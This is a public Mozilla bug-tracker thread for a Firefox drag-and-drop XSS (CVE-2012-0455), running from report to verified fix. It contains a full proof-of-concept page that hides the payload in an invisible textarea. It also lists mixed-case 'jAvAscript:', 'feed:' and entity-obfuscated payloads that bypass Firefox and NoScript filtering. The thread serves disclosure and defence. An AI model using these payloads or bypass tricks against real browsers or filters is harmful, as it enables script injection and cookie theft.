Closed Bug 704354 (CVE-2012-0455) Opened 13 years ago Closed 13 years ago

"DragAndDropJacking" (?) + javAscript: URL = XSS

Categories

(Firefox :: Tabbed Browser, defect)

Product:
Firefox
Component:
Tabbed Browser
Version:
8 Branch
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
VERIFIED FIXED
Milestone:
Firefox 13
Tracking Flags:
Tracking Status
firefox10 + wontfix
firefox11 + verified
firefox12 --- verified
firefox-esr10 11+ verified
blocking1.9.2 --- .28+
status1.9.2 --- .28-fixed

People

(Reporter: soroush.dalili, Assigned: Gavin)

References

(
URL
)

Details

(Keywords: reporter-external, verified1.9.2, Whiteboard: [sg:moderate][qa+][qa!:11][qa!:12])

Attachments

(3 files, 3 obsolete files)

Simplified Version of target page
2.61 KB, text/plain
Details
Simplified Version of host page
371 bytes, text/plain
Details
simpler 1.9.2-only patch
2.21 KB, patch
Dolske
: review+
lsblakk
: approval1.9.2.28+
Details | Diff | Splinter Review
User Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0 Build ID: 20111104165243 Steps to reproduce: It is possible to do Cross Domain Self XSS by using the: 1- HTML5 Drag and Drop feature that can lead to bypassing the cross domain policy. 2- Bypassing "javascript:" protocol protection by changing the characters' cases. i.e. dragging and dropping "javascript:alert(1)" to a new tab does not work. However, dragging and dropping "jAvAscript:alert(1)" works successfully. Now, if you can embed your malicious IFrame in another website such as Facebook, you can conduct a Cross Site Scripting against that website. I have created a test case for you that the victim "soroush.secproject.com" can be exploited by "www.0me.me": http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html I will attach both of "FF8.0.SelfXSSHost.html" and "FF8.0.SelfXSSTarget.html" to this issue as well. I tried to create a real example to show how dangerous it can be. All the Javascripts are harmless and will only show you document.location+document.cookie. Actual results: It is possible to drag and drop a javascript (for example "JaVaScripT:alert(1)") to a HTML page that use HTML5 drag and drop feature to conduct XSS attack. Now, if you put this HTML5 page in an Iframe, the malicious script can be run on the domain that include the Iframe. Expected results: First of all, "javascript:" protocol should be validated properly to not be run by upper-casing the characters as an example. The script that is being dragged and dropped, should be run under the same domain (not any other domain).
Severity: normal → major
Please also let me know if it can be eligible for the bug bounty program.
Comment on attachment 576026 [details] A sample HTML page to exploit the vulnerability. It can go to an Iframe. <html> <head> <style> .magicselected{ text-decoration: none; text-align: center; color: red; margin: 10px; width: 500px; border: 3px dashed #999; background: #ffeedd; padding: 10px; display: block; } .informational { text-decoration: none; color: #000; margin: 10px; width: 500px; border: 3px #999; background: #eee; padding: 10px; display: block; } *[draggable=true] { -moz-user-select:none; -khtml-user-drag: element; cursor: move; } *:-khtml-drag { background-color: rgba(238,238,238, 0.5); } #bin { background: url(http://mozcom-cdn.mozilla.net/img/covehead/firefox/main-feature-facebook.png) top right no-repeat; height: 360px; width: 500px; float: left; border: 5px dashed #000; position: relative; margin-top: 0; } #bin.over { background: url(images/bin.jpg) top left no-repeat; } #bin p { font-weight: bold; text-align: center; position: absolute; bottom: 20px; width: 166px; font-size: 32px; color: #fff; text-shadow: #000 2px 2px 2px; } </style> <script> function disableSelection(element){ target = document.getElementById(element); if (typeof target.onselectstart!="undefined") //IE route target.onselectstart=function(){return false} else if (typeof target.style.MozUserSelect!="undefined") //Firefox route target.style.MozUserSelect="none" else //All other route (ie: Opera) target.onmousedown=function(){return false} //target.style.cursor = "default" } function enableSelection(element){ target = document.getElementById(element); if (typeof target.onselectstart!="undefined") //IE route target.onselectstart=function(){return true} else if (typeof target.style.MozUserSelect!="undefined") //Firefox route target.style.MozUserSelect="" else //All other route (ie: Opera) target.onmousedown=function(){return true} //target.style.cursor = "default" } function selectText(element) { var doc = document; var text = doc.getElementById(element); if (doc.body.createTextRange) { // ms var range = doc.body.createTextRange(); range.moveToElementText(text); range.select(); } else if (window.getSelection) { var selection = window.getSelection(); if (selection.setBaseAndExtent) { // webkit selection.setBaseAndExtent(text, 0, text, 1); } else { // moz, opera var range = doc.createRange(); range.selectNodeContents(text); selection.removeAllRanges(); selection.addRange(range); } } } LoadPage = function(){ disableSelection('selectableDiv'); disableSelection('informationalSpan'); document.getElementById('currentURL').innerHTML = document.location; } </script> </head> <body onload="LoadPage()"> <pre> Self XSS PoC on Mozilla Firefox 8.0 Author: By Soroush Dalili - SecProject.com - <a href="http://twitter.com/IRSDL">IRSDL in twitter</a> Details: 1- Based on HTML5 Drag and Drop 2- Using "jAvAscript:" instead of "javascript:" to bypass the protection 3- Using hidden "textarea" technique to hide the malicious script during the selection 4- Using some scripts to make it more feasible! </pre> This Page URL: <span id="currentURL"></span> <hr/> <span id="informationalSpan" class="informational" onclick="enableSelection('selectableDiv');selectText('selectableDiv');"> Select the following text and drag it to the magic box: </span> <span class="magicselected" id="selectableDiv" onmousedown="selectText('selectableDiv');return true;" onclick="enableSelection('selectableDiv');selectText('selectableDiv');return false;disableSelection('selectableDiv');"> <textarea style="visibility:hidden;width:1px;height:1px;" id="myinput" ondblclick="selectText('selectableDiv');return false;" onclick="selectText('selectableDiv');return false;" onmousedown="selectText('selectableDiv');return true;">jAvAscript:alert('Self XSS By Soroush Dalili - twitter.com\\IRSDL\nTop Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);// </textarea><b>>>>DRAG and DROP me to the blow box to see the magic!<<<</b> </span> <div id="bin">Magic Box</div> <script> var addEvent = (function () { if (document.addEventListener) { return function (el, type, fn) { if (el && el.nodeName || el === window) { el.addEventListener(type, fn, false); } else if (el && el.length) { for (var i = 0; i < el.length; i++) { addEvent(el[i], type, fn); } } }; } else { return function (el, type, fn) { if (el && el.nodeName || el === window) { el.attachEvent('on' + type, function () { return fn.call(el, window.event); }); } else if (el && el.length) { for (var i = 0; i < el.length; i++) { addEvent(el[i], type, fn); } } }; } })(); var mydivObj = document.createElement('mydiv'); var msie = /*@cc_on!@*/0; mydivObj.style.opacity = 1; //var links = document.querySelectorAll('li > a'), el = null; //for (var i = 0; i < links.length; i++) { //el = links[i]; el=document.getElementById('myinput'); el.setAttribute('draggable', 'true'); addEvent(el, 'dragstart', function (e) { e.dataTransfer.effectAllowed = 'copy'; // only dropEffect='copy' will be dropable e.dataTransfer.setData('Text', this.id); // required otherwise doesn't work }); //} var bin = document.querySelector('#bin'); addEvent(bin, 'dragover', function (e) { if (e.preventDefault) e.preventDefault(); // allows us to drop this.className = 'over'; e.dataTransfer.dropEffect = 'copy'; return false; }); // to get IE to work addEvent(bin, 'dragenter', function (e) { this.className = 'over'; return false; }); addEvent(bin, 'dragleave', function () { this.className = ''; }); addEvent(bin, 'drop', function (e) { if (e.stopPropagation) e.stopPropagation(); // stops the browser from redirecting...why??? document.getElementById('bin').innerHTML = 'Great! You have done that! Now please wait...' return false; }); </script> </body> </html>
Last comment was by mistake, I wanted to update the attachment. Please hide/remove it if it's possible.
I'm pretty sure this is a dupe of bug 605991.
(In reply to Brandon Sterne (:bsterne) from comment #5) > I'm pretty sure this is a dupe of bug 605991. Their title are similar but their details are different: 1- there is no frame here 2- "javascript:" has been blocked by default which has been bypassed 3- I'm using one of the HTML5 examples and it wont work on the older browsers The other bug is publicly available. if you still think they are the same, you can make this publicly available ;)
I may publish this if I do not get a proper response till tomorrow night.
I CCed Giorgio to see if NoScript can protect users from this attack.
Confirmed, made the summary slightly more descriptive, invited bzbarsky to the party. @Soroush: could your POC be simplified in any way to be minimal (e.g. is @contenteditable=true on the frame really required)? Thanks.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Summary: Cross Domain Self XSS Vulnerability → "DragAndDropJacking" (?) + javAscript: URL = XSS
@Giorgio: your are right. It is not necessary; I c/p that Iframe from one of my other test cases to not rewrite it! we only need a Simple Iframe outside. "Summary: Cross Domain Self XSS Vulnerability → "DragAndDropJacking" (?) + javAscript: URL = XSS" I said it is cross domain, because the JavaScript will be executed on the top page on another domain (not the one which includes the JavaScript and you drag the text over it). However, it really depends how you will look at the issue. Moreover, I could hide the text that will be selected in a hidden textarea. It should not be selected but it will. Even if you copy/paste it, you can see it. I guess it is a minor issue, but it still helps a real attack. I will attach a simplified version soon.
Attachment #576026 - Attachment is obsolete: true
Attachment #576027 - Attachment is obsolete: true
Attachment #577023 - Attachment description: Simplified Version → Simplified Version of target page
Experimental protection in NoScript 2.2.2rc4 from http://noscript.net/getit#devel Please notice it's a beta. As I told you, stable/automatic update has to wait 1 week or more for AMO approval stamp, so please keep this embargoed until then, thanks.
(In reply to Giorgio Maone from comment #13) > Experimental protection in NoScript 2.2.2rc4 from > http://noscript.net/getit#devel > > Please notice it's a beta. > As I told you, stable/automatic update has to wait 1 week or more for AMO > approval stamp, so please keep this embargoed until then, thanks. It is still possible to bypass NoScript by selecting free spaces before the "jAvAScript:". For example in HTML we can have: &nbsp;jAvAscript:alert(1); Or <br/><br/>jAvAscript:alert(1);
(In reply to Soroush Dalili from comment #14) > It is still possible to bypass NoScript by selecting free spaces before the > "jAvAScript:". > For example in HTML we can have: > &nbsp;jAvAscript:alert(1); > Or <br/><br/>jAvAscript:alert(1); Please check 2.2.2rc5 from http://noscript.net/getit#devel BTW, did you check if your trick works with dataTransfer types other than "Text"?
(In reply to Giorgio Maone from comment #15) > Please check 2.2.2rc5 from http://noscript.net/getit#devel > I still can bypass it by using the following vector: feed:jAvAscript:alert(1) Actually "javascript:" protection of NoScript can be bypassed by using this vector generally via copy/paste as well. > BTW, did you check if your trick works with dataTransfer types other than > "Text"? I am not sure about this. Could you please explain what do you mean? I think my PoC is based on a text.
more vector(s): "feed:feed:feed:javAscript:alert(1)" "feed:javAscript:javAscript:feed:alert(1)" "feed:feed:javAscript:javAscript:feed:alert(1)" " feed:feed:feed:javAscript:alert(1)" " feed:feed:feed:javAscript:alert(1)"
(In reply to Soroush Dalili from comment #16) Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty trivial, but I wonder how many traps like that lie around. > Actually "javascript:" protection of NoScript can be bypassed by using this > vector generally via copy/paste as well. could you elaborate w/ more details? I'm not sure about what kind of protection NoScript is supposed to provide against "javascript:" copy & paste. > > BTW, did you check if your trick works with dataTransfer types other than > > "Text"? > > I am not sure about this. Could you please explain what do you mean? I think > my PoC is based on a text. I mean, does it work for instance with type="text/html"?
Please check NoScript 2.2.3rc3 from http://noscript.net/getit#devel
(In reply to Giorgio Maone from comment #18) > Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty > trivial, but I wonder how many traps like that lie around. I searched a little but at the end I think it is up to Mozilla to tell us about all the protocols that they use. I could not find anything interesting. > could you elaborate w/ more details? I'm not sure about what kind of > protection NoScript is supposed to provide against "javascript:" copy & > paste. I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit enter, NoScript does not block it similar to "javascript:". It is also true for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well. > I mean, does it work for instance with type="text/html"? I do not think it is going to work if I do not use "data" protocol. How can I try it without "data" protocol? I know there is a type attribute for "dataTransfer" but I am not sure how to try it for this purpose. ---- I am still wondering why there is not any official response from Mozilla that they have accepted the issue. As a result, I have to publish all of these as soon as NoScript can provide enough security.
(In reply to Soroush Dalili from comment #20) > I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit > enter, NoScript does not block it similar to "javascript:". It is also true > for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well. While the data: URI works (albeit tied to an unique origin, hence practically innocuous), I did not manage to make feed:javascript: execute, at least on Fx 8. > > I mean, does it work for instance with type="text/html"? > I do not think it is going to work if I do not use "data" protocol. How can > I try it without "data" protocol? It's not important anymore, as the latest version of my work-around is triggered by the attempted load, rather than by the drop event, hence it always see pre-processed URIs independently from the transfer details. > I am still wondering why there is not any official response from Mozilla CCing dveditz who may give you an answer. > As a result, I have to publish all of > these as soon as NoScript can provide enough security. Do you think NoScript 2.2.3rc4 is good enough? If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track approval.
(In reply to Giorgio Maone from comment #21) Awesome. Good job Giorgio. > Do you think NoScript 2.2.3rc4 is good enough? > If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track > approval. I am still not able to bypass it with my current testcases. I will ask Mario and Gareth to have a quick think about it.
Seems like this attack will work only on website that allows posting Iframes in it (e.g. Facebook).
(In reply to Shlomi Narkolayev from comment #23) > Seems like this attack will work only on website that allows posting Iframes > in it (e.g. Facebook). You are right about the PoC and what I can currently do with it. However, it contains several issues which can lead to other exploits. (For instance, if you manage to drag/drop a Javascript into Chrome:// protocol, you can execute commands on the system)
Sounds interesting. Who will be the "host" in this case? Can you write a PoC?
(In reply to Giorgio Maone from comment #21) > Do you think NoScript 2.2.3rc4 is good enough? > If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track > approval. I asked Mario and Gareth and they said it seems fine. Gareth was worry about the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null obviously".; I could not bypass the protection by using this however. I think we can go for the stable version then. Thanks again for providing security to Firefox. I'll publish it after you release the stable version.
(In reply to Soroush Dalili from comment #26) > (In reply to Giorgio Maone from comment #21) > > Do you think NoScript 2.2.3rc4 is good enough? > > If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track > > approval. > > I asked Mario and Gareth and they said it seems fine. Great, the update is out. Just please wait a couple of days, because AMO is suffering network outages which are slowing down the automatic deployment process. > Gareth was worry about > the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null > obviously".; As I said this fix operates on preprocessed URLs, hence it's not affected by HTML-level obfuscation. The only component (unrelated to this bug) which might be affected is the XSS filter, but as far as I can tell that's covered by using Gecko's own parser to decode entities. Gareth, can you confirm that?
A fix isn't going to make Firefox 9 (already at final preview builds on the Beta channel), try for Fx10.
status-firefox10: --- → affected
status-firefox11: --- → affected
status-firefox8: --- → wontfix
status-firefox9: --- → wontfix
tracking-firefox10: --- → +
tracking-firefox11: --- → +
Component: General → Drag and Drop
Product: Firefox → Core
QA Contact: general → drag-drop
Whiteboard: [sg:moderate]
> The only component (unrelated to this bug) which might be affected is the > XSS filter, but as far as I can tell that's covered by using Gecko's own > parser to decode entities. Gareth, can you confirm that? The filter seems good although I've not done extensive testing. I think you probably fixed this with mario's entity vectors.
(In reply to Gareth Heyes from comment #29) > > The only component (unrelated to this bug) which might be affected is the > > XSS filter, but as far as I can tell that's covered by using Gecko's own > > parser to decode entities. Gareth, can you confirm that? > > The filter seems good although I've not done extensive testing. I think you > probably fixed this with mario's entity vectors. .mario's fix was about recursion order in general decoding, not an entity specific one. As I said, I use Gecko's parser for that so if it's an entity for Gecko, it's an entity for NoScript as well (I didn't add any new entity decoding code).
> .mario's fix was about recursion order in general decoding, not an entity > specific one. As I said, I use Gecko's parser for that so if it's an entity > for Gecko, it's an entity for NoScript as well (I didn't add any new entity > decoding code). Ah ok well it seems good anyway, probably because you are using Gecko's parser, it understands the crazy stuff. I tried stuff like %26%23106%00avascript%26%00colon;location%26%00equals;top.name but it seemed good.
Thanks guys, I have published the details: http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html I am not sure if Mozilla wants to fix or not.
Severity: major → normal
Another clarification: Description: It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and run that JavaScript on the top page if you can include that malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious iframe should deceive the user to drag and drop a JS to the drop box which can be stealth in a hidden textarea.It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and to run that JavaScript on the top page if you can include the malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious IFrame should deceive the user to drag and drop a JS to the drop box which can be concealed in a hidden "Textarea" element. IFrame Code: <b>drag and drop one of the following strings to the drop box:</b> <br/><hr/> jAvascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);// <br/><hr/> feed:javascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);// <br/><hr/> feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b> <br/><hr/> feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);// <br/><hr/> <div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>
Sending over to Dan to evaluate if this is still something we should try to get for Firefox 10. If so, I'd ask roc to find somebody to take a look (he's now CC'd).
Assignee: nobody → dveditz
NB: the naive fix of adding the 'i' flag thus /^\s*(javascript|data):/i.test(url)) is wrong, won't address the nested case (e.g. the feed:javascript examples) nor any future/add-on schemes. CheckLoadURI with the DISALLOW_INHERIT_PRINCIPAL flag is more what we want here (as used in the text.xml widget).
Firefox 3.6 is not affected by the PoC, but generically the protection of tabs/windows as drop targets for javascript: text links can be bypassed using the same capitalization trick.
Assignee: dveditz → nobody
blocking1.9.2: --- → ?
status1.9.2: --- → wanted
Component: Drag and Drop → Tabbed Browser
Product: Core → Firefox
QA Contact: drag-drop → tabbed.browser
Assignee: nobody → gavin.sharp
Depends on: 718203
Depends on: 724161
No longer depends on: 718203
The patch I just attached to bug 724161 fixes this, and includes tests.
blocking1.9.2: ? → needed
https://hg.mozilla.org/integration/mozilla-inbound/rev/50aae34555bb
OS: Windows 7 → All
Hardware: x86 → All
Target Milestone: --- → Firefox 13
https://hg.mozilla.org/mozilla-central/rev/50aae34555bb
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Whiteboard: [sg:moderate] → [sg:moderate][qa+]
Tracking here for the ESR - we'll want to land the patches in bug 718203 and bug 724161 on mozilla-esr10.
[Triage comment] This bug is being tracked for landing on ESR branch. Please land patches on http://hg.mozilla.org/releases/mozilla-esr10/by Thursday March 1, 2012 in order to be ready for go-to-build on Friday March 2, 2012. See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more information.
Verified on XP using latest Fx11b4(beta), Fx12(aurora), Fx13(nightly) using steps in comment #0. Prior to the fix you can see a dialog come up, as explained in comment #0. In fixed builds nothing happens.
status-firefox11: fixed → verified
status-firefox12: fixed → verified
Whiteboard: [sg:moderate][qa+] → [sg:moderate][qa+][qa!:11][qa!:12]
Since this landed in Fx11 we should also land a fix in 3.6.28 What's the likelihood of the patch in comment 49 applying?
blocking1.9.2: needed → .28+
It really doesn't (depends on bug 545714, which landed post-1.9.2). I can work on an alternate fix, I guess... :(
Does this actually affect 1.9.2? The simplified testcase (the two files) doesn't seem to work on XP SP3 with 1.9.2.27.
Attached patch 1.9.2 patch for this bug only (obsolete) — — Splinter Review
We can't re-use the fix from bug 724161/bug 718203 on 1.9.2 because the code is quite different. The code still looks vulnerable, though. Here's an alternate fix that's a little bit more isolated. nsContentAreaDragDrop is used for <browser> drops on 1.9.2, and it seems to be the only relevant use (aside from a caller in nsDocShellTreeOwner that relies on having an nsWebBrowser, which I think never happens in Firefox), so the behavior change of disallow javascript:/data: drops should be fine. For <tabbrowser>, I just fixed the regex check, because introducing a more robust nsIURI check doesn't seem worth it. I could not get the tests to work on 1.9.2. The browser_tabDrop test fails because the drag-synthesize code on 1.9.2 doesn't properly create a drag session. The browser_browserDrop test is much more complicated to write because there is no easy droppedLinkHandler to hook into - we'd need to explicitly check page loads triggered by nsContentAreaDragDrop.
I get the alert dialog appearing on the latest debug build of Firefox 10 ESR (2012-03-03). Comment 49 suggests this should be fixed. All I'm doing is following the testcase in comment 0. Is this not fixed?
Using the Mac build from http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/ , I don't get an alert when loading http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and following the steps (drag text from the red box to the frame below). Which build are you testing exactly, on what platform?
(In reply to Gavin Sharp (use gavin@gavinsharp.com for email) from comment #55) > Using the Mac build from > http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/ > , I don't get an alert when loading > http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and > following the steps (drag text from the red box to the frame below). Which > build are you testing exactly, on what platform? I was using the debug build from: ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2012-03-03-mozilla-esr10-debug I confirm that using the release candidate does not display the alert. I guess I can call this verified based on that.
status-firefox-esr10: fixed → verified
OK, this is a simpler patch that only touches the code that was original affected. Just makes the existing checks for javascript/data case-insensitive. There are a couple of followups that I'll file, but they apply to trunk equally: - dragging from chrome text boxes isn't block, because of a checkLoadURI quirk (DISALLOW_INHERIT_PRINCIPAL doesn't kick in when the source principal is the system principal) - the embedding code (not used in Firefox) is still vulnerable - it would be good to fix this just to be safe (I don't think anyone is using it)
Attachment #602795 - Attachment is obsolete: true
Attachment #603081 - Flags: review?(dolske)
STR that this patch fixes: Case A: 1) Load data:text/plain,jAvAscript:alert(1) 2) Drag the text in the content area ("jAvAscript:alert(1)") to the current tab Expected: no dialog appears Actual: dialog appears showing "1" Case B: 1) Enter "jAvascript:alert(1)" into the search bar 2) Drag the text from the search bar into the content area of the current tab Expected: no dialog appears Actual: dialog appears showing "1" I'm not certain why the original test case doesn't work on 1.9.2.
Attachment #603081 - Flags: review?(dolske) → review+
Attachment #603081 - Flags: approval1.9.2.28?
Attachment #603081 - Flags: approval1.9.2.28? → approval1.9.2.28+
Verified fixed in Firefox 3.6.28build1.
Keywords: verified1.9.2
Alias: CVE-2012-0455
Verified that this was fixed in trunk since no one else did. Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20120402 Firefox/14.0a1
Status: RESOLVED → VERIFIED
Group: core-security
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: